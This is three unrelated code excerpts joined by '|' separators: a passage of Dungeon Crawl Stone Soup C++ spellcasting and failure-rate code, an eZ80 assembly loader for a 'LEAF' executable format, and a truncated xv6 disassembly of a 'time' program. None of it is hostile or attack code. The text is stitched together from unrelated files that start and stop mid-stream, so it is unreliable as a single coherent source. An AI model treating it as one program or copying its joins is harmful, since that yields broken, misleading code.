// because of it). Hopefully, those will eventually be fixed. - bwr
if (flags & spflag::targeting_mask)
{
const targ_mode_type targ =
testbits(flags, spflag::neutral) ? TARG_ANY :
testbits(flags, spflag::helpful) ? TARG_FRIEND :
testbits(flags, spflag::obj) ? TARG_MOVABLE_OBJECT :
TARG_HOSTILE;
const targeting_type dir =
testbits(flags, spflag::target) ? DIR_TARGET : DIR_NONE;
const char *prompt = get_spell_target_prompt(spell);
const bool needs_path = !testbits(flags, spflag::target)
// Apportation must be spflag::target, since a
// shift-direction makes no sense for it, but
// it nevertheless requires line-of-fire.
|| spell == SPELL_APPORTATION;
unique_ptr<targeter> hitfunc = _spell_targeter(spell, powc, range);
// Add success chance to targeted spells checking monster MR
const bool mr_check = testbits(flags, spflag::MR_check)
&& testbits(flags, spflag::dir_or_target)
&& !testbits(flags, spflag::helpful);
desc_filter additional_desc = nullptr;
if (mr_check)
{
const zap_type zap = spell_to_zap(spell);
const int eff_pow = zap == NUM_ZAPS ? powc
: zap_ench_power(zap, powc,
false);
additional_desc = bind(desc_success_chance, placeholders::_1,
eff_pow, evoked_item, hitfunc.get());
}
string title = make_stringf("Aiming: <w>%s</w>", spell_title(spell));
if (allow_fail)
{
title += make_stringf(" <lightgrey>(%s)</lightgrey>",
_spell_failure_rate_description(spell).c_str());
}
direction_chooser_args args;
args.hitfunc = hitfunc.get();
args.restricts = dir;
args.mode = targ;
args.range = range;
args.needs_path = needs_path;
args.target_prefix = prompt;
args.top_prompt = title;
if (hitfunc && hitfunc->can_affect_walls())
{
args.show_floor_desc = true;
args.show_boring_feats = false; // don't show "The floor."
}
if (testbits(flags, spflag::not_self))
args.self = confirm_prompt_type::cancel;
else
args.self = confirm_prompt_type::none;
args.get_desc_func = additional_desc;
if (!spell_direction(spd, beam, &args))
return spret::abort;
if (testbits(flags, spflag::not_self) && spd.isMe())
{
if (spell == SPELL_TELEPORT_OTHER)
mpr("Sorry, this spell works on others only.");
else
canned_msg(MSG_UNTHINKING_ACT);
return spret::abort;
}
if (spd.isMe() && spell == SPELL_INVISIBILITY && !invis_allowed())
return spret::abort;
}
if (evoked_item)
{
#if TAG_MAJOR_VERSION == 34
const int surge = pakellas_surge_devices();
#else
const int surge = 0;
#endif
powc = player_adjust_evoc_power(powc, surge);
#if TAG_MAJOR_VERSION == 34
int mp_cost_of_wand = evoked_item->base_type == OBJ_WANDS
? wand_mp_cost() : 0;
surge_power_wand(mp_cost_of_wand + surge * 3);
#endif
}
#if TAG_MAJOR_VERSION == 34
else if (allow_fail)
surge_power(_spell_enhancement(spell));
#endif
// Enhancers only matter for calc_spell_power() and raw_spell_fail().
// Not sure about this: is it flavour or misleading? (jpeg)
const god_type god =
(crawl_state.is_god_acting()) ? crawl_state.which_god_acting()
: GOD_NO_GOD;
int fail = 0;
#if TAG_MAJOR_VERSION == 34
bool antimagic = false; // lost time but no other penalty
if (allow_fail && you.duration[DUR_ANTIMAGIC]
&& x_chance_in_y(you.duration[DUR_ANTIMAGIC] / 3, you.hp_max))
{
mpr("You fail to access your magic.");
fail = antimagic = true;
}
else
#endif
if (evoked_item && evoked_item->charges == 0)
return spret::fail;
else if (allow_fail)
{
int spfl = random2avg(100, 3);
if (!you_worship(GOD_SIF_MUNA)
&& you.penance[GOD_SIF_MUNA] && one_chance_in(20))
{
god_speaks(GOD_SIF_MUNA, "You feel a surge of divine spite.");
// This will cause failure and increase the miscast effect.
spfl = -you.penance[GOD_SIF_MUNA];
}
else if (spell_typematch(spell, spschool::necromancy)
&& !you_worship(GOD_KIKUBAAQUDGHA)
&& you.penance[GOD_KIKUBAAQUDGHA]
&& one_chance_in(20))
{
// And you thought you'd Necromutate your way out of penance...
simple_god_message(" does not allow the disloyal to dabble in "
"death!", GOD_KIKUBAAQUDGHA);
// The spell still goes through, but you get a miscast anyway.
miscast_effect(you, nullptr,
{miscast_source::god, GOD_KIKUBAAQUDGHA},
spschool::necromancy,
spell_difficulty(spell),
you.experience_level,
"the malice of Kikubaaqudgha");
}
else if (vehumet_supports_spell(spell)
&& !you_worship(GOD_VEHUMET)
&& you.penance[GOD_VEHUMET]
&& one_chance_in(20))
{
// And you thought you'd Fire Storm your way out of penance...
simple_god_message(" does not allow the disloyal to dabble in "
"destruction!", GOD_VEHUMET);
// The spell still goes through, but you get a miscast anyway.
miscast_effect(you, nullptr, {miscast_source::god, GOD_VEHUMET},
spschool::conjuration,
spell_difficulty(spell),
you.experience_level,
"the malice of Vehumet");
}
const int spfail_chance = raw_spell_fail(spell);
if (spfl < spfail_chance)
fail = spfail_chance - spfl;
}
dprf("Spell #%d, power=%d", spell, powc);
// Have to set aim first, in case the spellcast kills its first target
if (you.props.exists("battlesphere") && allow_fail)
aim_battlesphere(&you, spell);
const auto orig_target = monster_at(beam.target);
const bool self_target = you.pos() == beam.target;
const bool had_tele = orig_target && orig_target->has_ench(ENCH_TP);
spret cast_result = _do_cast(spell, powc, spd, beam, god, fail);
switch (cast_result)
{
case spret::success:
{
if (you.props.exists("battlesphere") && allow_fail)
trigger_battlesphere(&you);
const auto victim = monster_at(beam.target);
if (will_have_passive(passive_t::shadow_spells)
&& allow_fail
&& !god_hates_spell(spell, you.religion, !allow_fail)
&& (flags & spflag::targeting_mask)
&& !(flags & spflag::neutral)
&& (beam.is_enchantment()
|| battlesphere_can_mirror(spell))
// Must have a target, but that can't be the player.
&& !self_target
&& orig_target
// For teleport other, only mimic if the spell hit who we
// originally targeted and if we failed to change the target's
// teleport status. This way the mimic won't just undo the effect
// of a successful cast.
&& (spell != SPELL_TELEPORT_OTHER
|| (orig_target == victim
&& had_tele == victim->has_ench(ENCH_TP))))
{
dithmenos_shadow_spell(&beam, spell);
}
_spellcasting_side_effects(spell, god, !allow_fail);
return spret::success;
}
case spret::fail:
{
#if TAG_MAJOR_VERSION == 34
if (antimagic)
return spret::fail;
#endif
mprf("You miscast %s.", spell_title(spell));
flush_input_buffer(FLUSH_ON_FAILURE);
learned_something_new(HINT_SPELL_MISCAST);
miscast_effect(spell, fail);
return spret::fail;
}
case spret::abort:
return spret::abort;
case spret::none:
#ifdef WIZARD
if (you.wizard && !allow_fail && is_valid_spell(spell)
&& (flags & spflag::monster))
{
_try_monster_cast(spell, powc, spd, beam);
return spret::success;
}
#endif
if (is_valid_spell(spell))
{
mprf(MSGCH_ERROR, "Spell '%s' is not a player castable spell.",
spell_title(spell));
}
else
mprf(MSGCH_ERROR, "Invalid spell!");
return spret::abort;
}
return spret::success;
}
// Returns spret::success, spret::abort, spret::fail
// or spret::none (not a player spell).
static spret _do_cast(spell_type spell, int powc, const dist& spd,
bolt& beam, god_type god, bool fail)
{
const coord_def target = spd.isTarget ? beam.target : you.pos() + spd.delta;
if (spell == SPELL_FREEZE || spell == SPELL_VAMPIRIC_DRAINING)
{
if (!adjacent(you.pos(), target))
return spret::abort;
}
switch (spell)
{
case SPELL_FREEZE:
return cast_freeze(powc, monster_at(target), fail);
case SPELL_SANDBLAST:
return cast_sandblast(powc, beam, fail);
case SPELL_VAMPIRIC_DRAINING:
return vampiric_drain(powc, monster_at(target), fail);
case SPELL_IOOD:
return cast_iood(&you, powc, &beam, 0, 0, MHITNOT, fail);
// Clouds and explosions.
case SPELL_POISONOUS_CLOUD:
case SPELL_HOLY_BREATH:
case SPELL_FREEZING_CLOUD:
return cast_big_c(powc, spell, &you, beam, fail);
case SPELL_FIRE_STORM:
return cast_fire_storm(powc, beam, fail);
// Demonspawn ability, no failure.
case SPELL_CALL_DOWN_DAMNATION:
return cast_smitey_damnation(powc, beam) ? spret::success : spret::abort;
// LOS spells
// Beogh ability, no failure.
case SPELL_SMITING:
return cast_smiting(powc, monster_at(target)) ? spret::success
: spret::abort;
case SPELL_AIRSTRIKE:
return cast_airstrike(powc, spd, fail);
case SPELL_LRD:
return cast_fragmentation(powc, &you, spd.target, fail);
case SPELL_GRAVITAS:
return cast_gravitas(powc, beam.target, fail);
// other effects
case SPELL_DISCHARGE:
return cast_discharge(powc, you, fail);
case SPELL_CHAIN_LIGHTNING:
return cast_chain_spell(SPELL_CHAIN_LIGHTNING, powc, &you, fail);
case SPELL_DISPERSAL:
return cast_dispersal(powc, fail);
case SPELL_SHATTER:
return cast_shatter(powc, fail);
case SPELL_IRRADIATE:
return cast_irradiate(powc, &you, fail);
case SPELL_LEDAS_LIQUEFACTION:
return cast_liquefaction(powc, fail);
case SPELL_OZOCUBUS_REFRIGERATION:
return fire_los_attack_spell(spell, powc, &you, fail);
case SPELL_OLGREBS_TOXIC_RADIANCE:
return cast_toxic_radiance(&you, powc, fail);
case SPELL_IGNITE_POISON:
return cast_ignite_poison(&you, powc, fail);
case SPELL_TORNADO:
return cast_tornado(powc, fail);
case SPELL_THUNDERBOLT:
return cast_thunderbolt(&you, powc, target, fail);
case SPELL_DAZZLING_FLASH:
return cast_dazzling_flash(powc, fail);
case SPELL_CHAIN_OF_CHAOS:
return cast_chain_spell(SPELL_CHAIN_OF_CHAOS, powc, &you, fail);
case SPELL_IGNITION:
return cast_ignition(&you, powc, fail);
case SPELL_FROZEN_RAMPARTS:
return cast_frozen_ramparts(powc, fail);
// Summoning spells, and other spells that create new monsters.
// If a god is making you cast one of these spells, any monsters
// produced will count as god gifts.
case SPELL_SUMMON_SMALL_MAMMAL:
return cast_summon_small_mammal(powc, god, fail);
case SPELL_CALL_CANINE_FAMILIAR:
return cast_call_canine_familiar(powc, god, fail);
case SPELL_SUMMON_ICE_BEAST:
return cast_summon_ice_beast(powc, god, fail);
case SPELL_MONSTROUS_MENAGERIE:
return cast_monstrous_menagerie(&you, powc, god, fail);
case SPELL_SUMMON_DRAGON:
return cast_summon_dragon(&you, powc, god, fail);
case SPELL_DRAGON_CALL:
return cast_dragon_call(powc, fail);
case SPELL_SUMMON_HYDRA:
return cast_summon_hydra(&you, powc, god, fail);
case SPELL_SUMMON_MANA_VIPER:
return cast_summon_mana_viper(powc, god, fail);
case SPELL_CONJURE_BALL_LIGHTNING:
return cast_conjure_ball_lightning(powc, god, fail);
case SPELL_SUMMON_LIGHTNING_SPIRE:
return cast_summon_lightning_spire(powc, god, fail);
case SPELL_SUMMON_GUARDIAN_GOLEM:
return cast_summon_guardian_golem(powc, god, fail);
case SPELL_CALL_IMP:
return cast_call_imp(powc, god, fail);
case SPELL_SUMMON_DEMON:
return cast_summon_demon(powc, god, fail);
case SPELL_SUMMON_GREATER_DEMON:
return cast_summon_greater_demon(powc, god, fail);
case SPELL_SHADOW_CREATURES:
return cast_shadow_creatures(spell, god, level_id::current(), fail);
case SPELL_SUMMON_HORRIBLE_THINGS:
return cast_summon_horrible_things(powc, god, fail);
case SPELL_MALIGN_GATEWAY:
return cast_malign_gateway(&you, powc, god, fail);
case SPELL_SUMMON_FOREST:
return cast_summon_forest(&you, powc, god, fail);
case SPELL_ANIMATE_SKELETON:
return cast_animate_skeleton(powc, god, fail);
case SPELL_ANIMATE_DEAD:
return cast_animate_dead(powc, god, fail);
case SPELL_SIMULACRUM:
return cast_simulacrum(powc, god, fail);
case SPELL_HAUNT:
return cast_haunt(powc, beam.target, god, fail);
case SPELL_DEATH_CHANNEL:
return cast_death_channel(powc, god, fail);
case SPELL_SPELLFORGED_SERVITOR:
return cast_spellforged_servitor(powc, god, fail);
case SPELL_BATTLESPHERE:
return cast_battlesphere(&you, powc, god, fail);
case SPELL_INFESTATION:
return cast_infestation(powc, beam, fail);
case SPELL_FOXFIRE:
return cast_foxfire(powc, god, fail);
case SPELL_NOXIOUS_BOG:
return cast_noxious_bog(powc, fail);
// Enchantments.
case SPELL_CONFUSING_TOUCH:
return cast_confusing_touch(powc, fail);
case SPELL_CAUSE_FEAR:
return mass_enchantment(ENCH_FEAR, powc, fail);
case SPELL_INTOXICATE:
return cast_intoxicate(powc, fail);
case SPELL_DISCORD:
return mass_enchantment(ENCH_INSANE, powc, fail);
case SPELL_ENGLACIATION:
return cast_englaciation(powc, fail);
case SPELL_EXCRUCIATING_WOUNDS:
return cast_excruciating_wounds(powc, fail);
// Transformations.
case SPELL_BEASTLY_APPENDAGE:
return cast_transform(powc, transformation::appendage, fail);
case SPELL_BLADE_HANDS:
return cast_transform(powc, transformation::blade_hands, fail);
case SPELL_SPIDER_FORM:
return cast_transform(powc, transformation::spider, fail);
case SPELL_STATUE_FORM:
return cast_transform(powc, transformation::statue, fail);
case SPELL_ICE_FORM:
return cast_transform(powc, transformation::ice_beast, fail);
case SPELL_HYDRA_FORM:
return cast_transform(powc, transformation::hydra, fail);
case SPELL_DRAGON_FORM:
return cast_transform(powc, transformation::dragon, fail);
case SPELL_NECROMUTATION:
return cast_transform(powc, transformation::lich, fail);
case SPELL_SWIFTNESS:
return cast_swiftness(powc, fail);
case SPELL_OZOCUBUS_ARMOUR:
return ice_armour(powc, fail);
case SPELL_SILENCE:
return cast_silence(powc, fail);
case SPELL_WEREBLOOD:
return cast_wereblood(powc, fail);
case SPELL_PORTAL_PROJECTILE:
return cast_portal_projectile(powc, fail);
// other
case SPELL_BORGNJORS_REVIVIFICATION:
return cast_revivification(powc, fail);
case SPELL_SUBLIMATION_OF_BLOOD:
return cast_sublimation_of_blood(powc, fail);
case SPELL_DEATHS_DOOR:
return cast_deaths_door(powc, fail);
// Escape spells.
case SPELL_BLINK:
return cast_blink(fail);
case SPELL_CONTROLLED_BLINK:
return cast_controlled_blink(fail);
case SPELL_CONJURE_FLAME:
return conjure_flame(powc, fail);
case SPELL_PASSWALL:
return cast_passwall(beam.target, powc, fail);
case SPELL_APPORTATION:
return cast_apportation(powc, beam, fail);
case SPELL_DISJUNCTION:
return cast_disjunction(powc, fail);
case SPELL_CORPSE_ROT:
return cast_corpse_rot(fail);
case SPELL_GOLUBRIAS_PASSAGE:
return cast_golubrias_passage(beam.target, fail);
case SPELL_FULMINANT_PRISM:
return cast_fulminating_prism(&you, powc, beam.target, fail);
case SPELL_SEARING_RAY:
return cast_searing_ray(powc, beam, fail);
case SPELL_GLACIATE:
return cast_glaciate(&you, powc, target, fail);
case SPELL_RANDOM_BOLT:
return cast_random_bolt(powc, beam, fail);
case SPELL_RANDOM_EFFECTS:
return cast_random_effects(powc, beam, fail);
case SPELL_POISONOUS_VAPOURS:
return cast_poisonous_vapours(powc, spd, fail);
case SPELL_STARBURST:
return cast_starburst(powc, fail);
case SPELL_HAILSTORM:
return cast_hailstorm(powc, fail);
case SPELL_ABSOLUTE_ZERO:
return cast_absolute_zero(powc, fail);
case SPELL_ISKENDERUNS_MYSTIC_BLAST:
return cast_imb(powc, fail);
// non-player spells that have a zap, but that shouldn't be called (e.g
// because they will crash as a player zap).
case SPELL_DRAIN_LIFE:
return spret::none;
default:
if (spell_removed(spell))
{
mpr("Sorry, this spell is gone!");
return spret::abort;
}
break;
}
// Finally, try zaps.
zap_type zap = spell_to_zap(spell);
if (zap != NUM_ZAPS)
{
return zapping(zap, spell_zap_power(spell, powc), beam, true, nullptr,
fail);
}
return spret::none;
}
// _tetrahedral_number: returns the nth tetrahedral number.
// This is the number of triples of nonnegative integers with sum < n.
// Called only by get_true_fail_rate.
static int _tetrahedral_number(int n)
{
return n * (n+1) * (n+2) / 6;
}
// get_true_fail_rate: Takes the raw failure to-beat number
// and converts it to the actual chance of failure:
// the probability that random2avg(100,3) < raw_fail.
// Should probably use more constants, though I doubt the spell
// success algorithms will really change *that* much.
// Called only by failure_rate_to_int
static double _get_true_fail_rate(int raw_fail)
{
// Need 3*random2avg(100,3) = random2(101) + random2(101) + random2(100)
// to be (strictly) less than 3*raw_fail. Fun with tetrahedral numbers!
// How many possible outcomes, considering all three dice?
const int outcomes = 101 * 101 * 100;
const int target = raw_fail * 3;
if (target <= 100)
{
// The failures are exactly the triples of nonnegative integers
// that sum to < target.
return double(_tetrahedral_number(target)) / outcomes;
}
if (target <= 200)
{
// Some of the triples that sum to < target would have numbers
// greater than 100, or a last number greater than 99, so aren't
// possible outcomes. Apply the principle of inclusion-exclusion
// by subtracting out these cases. The set of triples with first
// number > 100 is isomorphic to the set of triples that sum to
// 101 less; likewise for the second and third numbers (100 less
// in the last case). Two or more out-of-range numbers would have
// resulted in a sum of at least 201, so there is no overlap
// among the three cases we are subtracting.
return double(_tetrahedral_number(target)
- 2 * _tetrahedral_number(target - 101)
- _tetrahedral_number(target - 100)) / outcomes;
}
// The random2avg distribution is symmetric, so the last interval is
// essentially the same as the first interval.
return double(outcomes - _tetrahedral_number(300 - target)) / outcomes;
}
const double fail_hp_fraction[] =
{
.10,
.30,
.50,
.70,
};
/**
* Compute the maximum miscast damage from the given spell
*
* The miscast code uses
* dam = div_rand_round(roll_dice(level, level + raw_fail), MISCAST_DIVISOR)
*/
int max_miscast_damage(spell_type spell)
{
int raw_fail = raw_spell_fail(spell);
int level = spell_difficulty(spell);
// Impossible to get a damaging miscast
if (level * level * raw_fail <= MISCAST_THRESHOLD)
return 0;
return div_round_up(level * (raw_fail + level), MISCAST_DIVISOR);
}
/**
* Compute the tier of maximum severity of a miscast
* @param spell The spell to be checked.
*
* Tiers are defined by the relation between the maximum miscast damage
* (given a miscast occurs):
*
* - safe, no chance of dangerous effect
* - slightly dangerous, mdam <= 10% mhp
* - dangerous, mdam <= 30% mhp
* - quite dangerous, mdam <= 50% mhp
* - extremely dangerous, mdam <= 70% mhp
* - potentially lethal, higher mdam
*/
int fail_severity(spell_type spell)
{
const int raw_fail = raw_spell_fail(spell);
const int level = spell_difficulty(spell);
// Impossible to get a damaging miscast
if (level * level * raw_fail <= 150)
return 0;
const int max_damage = max_miscast_damage(spell);
for (int i = 0; i < 4; ++i)
if (max_damage <= fail_hp_fraction[i] * get_real_hp(true))
return i + 1;
return 5;
}
const char *fail_severity_adjs[] =
{
"safe",
"mildly dangerous",
"dangerous",
"quite dangerous",
"extremely dangerous",
"potentially lethal",
};
COMPILE_CHECK(ARRAYSZ(fail_severity_adjs) > 3);
// Chooses a colour for the failure rate display for a spell. The colour is
// based on the chance of getting a severity >= 2 miscast.
int failure_rate_colour(spell_type spell)
{
const int severity = fail_severity(spell);
return severity == 0 ? LIGHTGREY :
severity == 1 ? WHITE :
severity == 2 ? YELLOW :
severity == 3 ? LIGHTRED :
severity == 4 ? RED
: MAGENTA;
}
//Converts the raw failure rate into a number to be displayed.
int failure_rate_to_int(int fail)
{
if (fail <= 0)
return 0;
else if (fail >= 100)
return (fail + 100)/2;
else
return max(1, (int) (100 * _get_true_fail_rate(fail)));
}
/**
* Convert the given failure rate into a percent, and return it as a string.
*
* @param fail A raw failure rate (not a percent!)
* @return E.g. "79%".
*/
string failure_rate_to_string(int fail)
{
return make_stringf("%d%%", failure_rate_to_int(fail));
}
string spell_failure_rate_string(spell_type spell)
{
const string failure = failure_rate_to_string(raw_spell_fail(spell));
const string colour = colour_to_str(failure_rate_colour(spell));
return make_stringf("<%s>%s</%s>",
colour.c_str(), failure.c_str(), colour.c_str());
}
static string _spell_failure_rate_description(spell_type spell)
{
const string failure = failure_rate_to_string(raw_spell_fail(spell));
const char *severity_adj = fail_severity_adjs[fail_severity(spell)];
const string colour = colour_to_str(failure_rate_colour(spell));
const char *col = colour.c_str();
return make_stringf("<%s>%s</%s>; <%s>%s</%s> risk of failure",
col, severity_adj, col, col, failure.c_str(), col);
}
string spell_noise_string(spell_type spell, int chop_wiz_display_width)
{
const int casting_noise = spell_noise(spell);
int effect_noise = spell_effect_noise(spell, false);
zap_type zap = spell_to_zap(spell);
if (effect_noise == 0 && zap != NUM_ZAPS)
{
bolt beem;
zappy(zap, 0, false, beem);
effect_noise = beem.loudness;
}
// A typical amount of noise.
if (spell == SPELL_TORNADO)
effect_noise = 15;
const int noise = max(casting_noise, effect_noise);
const char* noise_descriptions[] =
{
"Silent", "Almost silent", "Quiet", "A bit loud", "Loud", "Very loud",
"Extremely loud", "Deafening"
};
const int breakpoints[] = { 1, 2, 4, 8, 15, 20, 30 };
COMPILE_CHECK(ARRAYSZ(noise_descriptions) == 1 + ARRAYSZ(breakpoints));
const char* desc = noise_descriptions[breakpoint_rank(noise, breakpoints,
ARRAYSZ(breakpoints))];
#ifdef WIZARD
if (you.wizard)
{
if (chop_wiz_display_width > 0)
{
ostringstream shortdesc;
shortdesc << chop_string(desc, chop_wiz_display_width)
<< "(" << to_string(noise) << ")";
return shortdesc.str();
}
else
return make_stringf("%s (%d)", desc, noise);
}
else
#endif
return desc;
}
int power_to_barcount(int power)
{
if (power == -1)
return -1;
const int breakpoints[] = { 10, 15, 25, 35, 50, 75, 100, 150, 200 };
return breakpoint_rank(power, breakpoints, ARRAYSZ(breakpoints)) + 1;
}
static int _spell_power_bars(spell_type spell)
{
const int cap = spell_power_cap(spell);
if (cap == 0)
return -1;
const int power = min(calc_spell_power(spell, true, false, false), cap);
return power_to_barcount(power);
}
#ifdef WIZARD
static string _wizard_spell_power_numeric_string(spell_type spell)
{
const int cap = spell_power_cap(spell);
if (cap == 0)
return "N/A";
const int power = min(calc_spell_power(spell, true, false, false), cap);
return make_stringf("%d (%d)", power, cap);
}
#endif
string spell_power_string(spell_type spell)
{
#ifdef WIZARD
if (you.wizard)
return _wizard_spell_power_numeric_string(spell);
#endif
const int numbars = _spell_power_bars(spell);
const int capbars = power_to_barcount(spell_power_cap(spell));
ASSERT(numbars <= capbars);
if (numbars < 0)
return "N/A";
else
return string(numbars, '#') + string(capbars - numbars, '.');
}
int calc_spell_range(spell_type spell, int power, bool allow_bonus)
{
if (power == 0)
power = calc_spell_power(spell, true, false, false);
const int range = spell_range(spell, power, allow_bonus);
return range;
}
/**
* Give a string visually describing a given spell's range, as cast by the
* player.
*
* @param spell The spell in question.
* @return Something like "@-->.."
*/
string spell_range_string(spell_type spell)
{
if (spell == SPELL_HAILSTORM)
return "@.->"; // Special case: hailstorm is a ring
const int cap = spell_power_cap(spell);
const int range = calc_spell_range(spell, 0);
const int maxrange = spell_range(spell, cap);
return range_string(range, maxrange, '@');
}
/**
* Give a string visually describing a given spell's range.
*
* E.g., for a spell of fixed range 1 (melee), "@>"
* for a spell of range 3, max range 5, "@-->.."
*
* @param range The current range of the spell.
* @param maxrange The range the spell would have at max power.
* @param caster_char The character used to represent the caster.
* Usually @ for the player.
* @return See above.
*/
string range_string(int range, int maxrange, char32_t caster_char)
{
if (range <= 0)
return "N/A";
return stringize_glyph(caster_char) + string(range - 1, '-')
+ string(">") + string(maxrange - range, '.');
}
string spell_schools_string(spell_type spell)
{
string desc;
bool already = false;
for (const auto bit : spschools_type::range())
{
if (spell_typematch(spell, bit))
{
if (already)
desc += "/";
desc += spelltype_long_name(bit);
already = true;
}
}
return desc;
}
void spell_skills(spell_type spell, set<skill_type> &skills)
{
const spschools_type disciplines = get_spell_disciplines(spell);
for (const auto bit : spschools_type::range())
if (disciplines & bit)
skills.insert(spell_type2skill(bit));
}
|
define LEAF_HEADER 0
define LEAF_HEADER_IDENT 0 ; 5 bytes
define LEAF_IDENT 0 ; start
define LEAF_IDENT_MAG0 0 ; $7F
define LEAF_IDENT_MAG1 1 ; 'L'
define LEAF_IDENT_MAG2 2 ; 'E'
define LEAF_IDENT_MAG3 3 ; 'A'
define LEAF_IDENT_MAG4 4 ; 'F'
define LEAF_HEADER_TYPE 5 ; 1 byte, LT_EXEC
define LEAF_HEADER_MACHINE 6 ; 1 byte, default, LM_EZ80_ADL
define LEAF_HEADER_FLAGS 7 ; 1 byte (most if reallocatable or static + specific)
define LEAF_HEADER_ENTRY 8 ; 3 bytes, symbol if REALLOC, else direct address
define LEAF_HEADER_SHOFF 11 ; 3 bytes, section offset in file (usually at the end)
define LEAF_HEADER_SHNUM 14 ; 1 bytes, number of section
define LEAF_HEADER_SHSTRNDX 15 ; 1 bytes, string section index
; header is 16 bytes
define LEAF_SECTION 0
define LEAF_SECTION_NAME 0 ; 3 bytes, offset into the str table
define LEAF_SECTION_TYPE 3 ; 1 byte, type
define LEAF_SECTION_FLAGS 4 ; flags, 1 byte
define LEAF_SECTION_ADDR 5 ; virtual adress
define LEAF_SECTION_OFFSET 8 ; offset in file
define LEAF_SECTION_SIZE 11 ; size of the section
define LEAF_SECTION_INFO 14 ; link to an other section (for rel section)
define LEAF_SECTION_PAD 15 ; pad to 16 bytes
; relocation, 6 bytes ;
define LEAF_REL 0
define LEAF_REL_OFFSET 0 ; offset within section of the data to realloc (rel section are section defined with INFO
define LEAF_REL_INFO 3 ; more info (symbol index)
; symbol structure, 8 bytes
define LEAF_SYMBOL 0
define LEAF_SYMBOL_NAME 0 ; 3 bytes, index is str table
define LEAF_SYMBOL_VALUE 3 ; 3 bytes, value : either 0 or offset in section
define LEAF_SYMBOL_INFO 6 ; 1 byte, type (func, global etc)
define LEAF_SYMBOL_SHNDX 7 ; 1 bytes, section index, 0 is UNDEF, 0xFF is SHN_ABS
;define LEAF_ST_BIND(INFO) ((INFO) >> 4)
;define LEAF_ST_TYPE(INFO) ((INFO) & $0F)
; machine
define LM_EZ80_ADL 0
define LM_EZ80_COMP 1
define LM_Z80 2
; type
define LT_NONE 0
define LT_REL 1
define LT_EXEC 2
define LT_DYN 3
define LT_CORE 4
; flags
define LF_COMPRESSED $1
define LF_STATIC $2
define LF_REALLOC $4
; section type
define SHT_NULL 0
define SHT_PROGBITS 1
define SHT_SYMTAB 2
define SHT_STRTAB 3
define SHT_HASH 4
define SHT_DYNAMIC 5
define SHT_NOBITS 6
define SHT_REL 7
define SHT_INTERP 8
; section flags
define SHF_WRITE $1
define SHF_ALLOC $2
define SHF_EXECINSTR $4
; special section indexes
define SHN_UNDEF 0
define SHN_ABS 0xFF
define STB_LOCAL 0
define STB_GLOBAL 1
define STB_WEAK 2
define STT_NOTYPE 0
define STT_OBJECT 1
define STT_FUNC 2
define STT_SECTION 3
define STT_FILE 4
define STT_COMMON 5
define STT_TLS 6
define leaf_bound_lower $D0000A
define leaf_bound_upper $D0000D
leaf:
.check_file:
; iy = file adress (static)
ld a, (iy+LEAF_IDENT_MAG0)
cp a, 0x7F
ret nz
ld hl, (iy+LEAF_IDENT_MAG1)
ld de, ('A'*65536)+('E'*256)+'L'
sbc hl, de
ret nz
ld a, (iy+LEAF_IDENT_MAG4)
cp a, 'F'
ret nz
.check_supported:
ld a, (iy+LEAF_HEADER_MACHINE)
or a, a ; =LM_EZ80_ADL=0 ?
ret nz
ld a, (iy+LEAF_HEADER_TYPE)
cp a, LT_EXEC
ret nz
; execute the leaf file. It is static ?
;ld a, LF_STATIC ; LF_STATIC=LT_EXEC=2
xor a, (iy+LEAF_HEADER_FLAGS)
ret
.exec_static:
; grab the entry point of the program and jump to it
; make section protected for the kernel ?
; execute in place
; we need to reallocate here
; read section table and copy at correct location (for those needed)
lea bc, iy+0
ld ix, (iy+LEAF_HEADER_SHOFF)
add ix, bc
; read section now
ld b, (iy+LEAF_HEADER_SHNUM)
.alloc_prog_loop:
bit 1, (ix+LEAF_SECTION_FLAGS)
jr z, .alloc_next_section
push bc
ld hl, $E40000+SHT_NOBITS
ld a, (ix+LEAF_SECTION_TYPE)
cp a, l
jr z, .copy_null
ld hl, (ix+LEAF_SECTION_OFFSET)
lea bc, iy+0
add hl, bc
.copy_null:
ld bc, (ix+LEAF_SECTION_SIZE)
; we are a static file, the addr is RAM adress
ld de, (ix+LEAF_SECTION_ADDR)
ldir
pop bc
.alloc_next_section:
lea ix, ix+16
djnz .alloc_prog_loop
call .bound_static
.priviligied_static:
ld hl, leaf_bound_lower
ld bc, $620
otimr
; load up entry
; and jump !
ld hl, (iy+LEAF_HEADER_ENTRY)
jp (hl)
.bound_static:
; find execution bound for a static program
ld hl, $D00000
ld (leaf_bound_lower), hl
ld (leaf_bound_upper), hl
lea bc, iy+0
ld ix, (iy+LEAF_HEADER_SHOFF)
add ix, bc
; read section now
ld b, (iy+LEAF_HEADER_SHNUM)
.bound_loop:
bit 1, (ix+LEAF_SECTION_FLAGS)
jr z, .bound_next_section
ld de, (ix+LEAF_SECTION_ADDR)
ld hl, (leaf_bound_lower)
sbc hl, de
jr c, .bound_upper
ld (leaf_bound_lower), de
.bound_upper:
ld hl, (ix+LEAF_SECTION_SIZE)
add hl, de
ex de, hl
ld hl, (leaf_bound_upper)
or a, a
sbc hl, de
jr nc, .bound_lower
ld (leaf_bound_upper), de
.bound_lower:
.bound_next_section:
lea ix, ix+16
djnz .bound_loop
ret
|
_time: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#ifdef CS333_P2
#include "types.h"
#include "user.h"
int
main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 53 push %ebx
e: 51 push %ecx
f: 83 ec 20 sub $0x20,%esp
12: 89 cb mov %ecx,%ebx
int start_time = uptime(); // for ticks
14: e8 cc 04 00 00 call 4e5 <uptime>
19: 89 45 f4 mov %eax,-0xc(%ebp)
int final_time;
int time_diff;
int result;
int reminder;
int knife = fork(); // to check fork
1c: e8 24 04 00 00 call 445 <fork>
21: 89 45 f0 mov %eax,-0x10(%ebp)
if (knife < 0) // knife value negative
24: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
28: 79 17 jns 41 <main+0x41>
{
printf(1, "error FAIL\n");
2a: 83 ec 08 sub $0x8,%esp
2d: 68 da 09 00 00 push $0x9da
32: 6a 01 push $0x1
34: e8 eb 05 00 00 call 624 <printf>
39: 83 c4 10 add $0x10,%esp
exit();
3c: e8 0c 04 00 00 call 44d <exit>
}
if (knife == 0) // knife is zero
41: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
45: 75 3d jne 84 <main+0x84>
{
if (argc == 1)
47: 83 3b 01 cmpl $0x1,(%ebx)
4a: 75 05 jne 51 <main+0x51>
exit();
